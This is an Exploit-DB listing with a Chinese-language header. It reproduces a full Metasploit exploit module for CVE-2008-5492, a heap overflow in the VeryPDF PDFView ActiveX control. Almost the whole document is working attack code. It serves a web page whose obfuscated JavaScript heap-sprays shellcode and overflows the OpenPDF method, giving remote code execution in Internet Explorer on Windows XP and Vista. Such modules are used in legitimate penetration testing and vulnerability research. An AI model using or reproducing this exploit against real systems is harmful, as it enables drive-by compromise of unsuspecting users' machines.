标题: VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (Metasploit) EDB-ID: 16520 CVE: 2008-5492 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: verypdf_pdfview.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow',
   'Description'    => %q{
     The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow
    because it fails to properly bounds-check user-supplied data before copying
    it into an insufficiently sized memory buffer. An attacker can exploit this issue
    to execute arbitrary code within the context of the affected application.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2008-5492'],
     [ 'OSVDB', '49871'],
     [ 'BID','32313' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
    ],
   'DisclosureDate' => 'Jun 16 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops.
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Set the return.
  ret    = Rex::Text.uri_encode([target.ret].pack('L'))

  # Randomize the javascript variable names.
  vname  = rand_text_alpha(rand(100) + 1)
  var_i  = rand_text_alpha(rand(30)  + 2)
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)
  rand8  = rand_text_alpha(rand(100) + 1)

  content = %Q|
   <html>
    <object id='#{vname}' classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252'></object>
    <script language="JavaScript">
    var #{rand1} = unescape('#{shellcode}');
    var #{rand2} = unescape('#{ret}');
    var #{rand3} = 20;
    var #{rand4} = #{rand3} + #{rand1}.length;
    while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
    var #{rand5} = #{rand2}.substring(0,#{rand4});
    var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
    while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
    var #{rand7} = new Array();
    for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
    var #{rand8} = "";
    for (#{var_i} = 0; #{var_i} < 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
    #{vname}.OpenPDF(#{rand8}, 1, 1);
    </script>
   </html>
   |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16520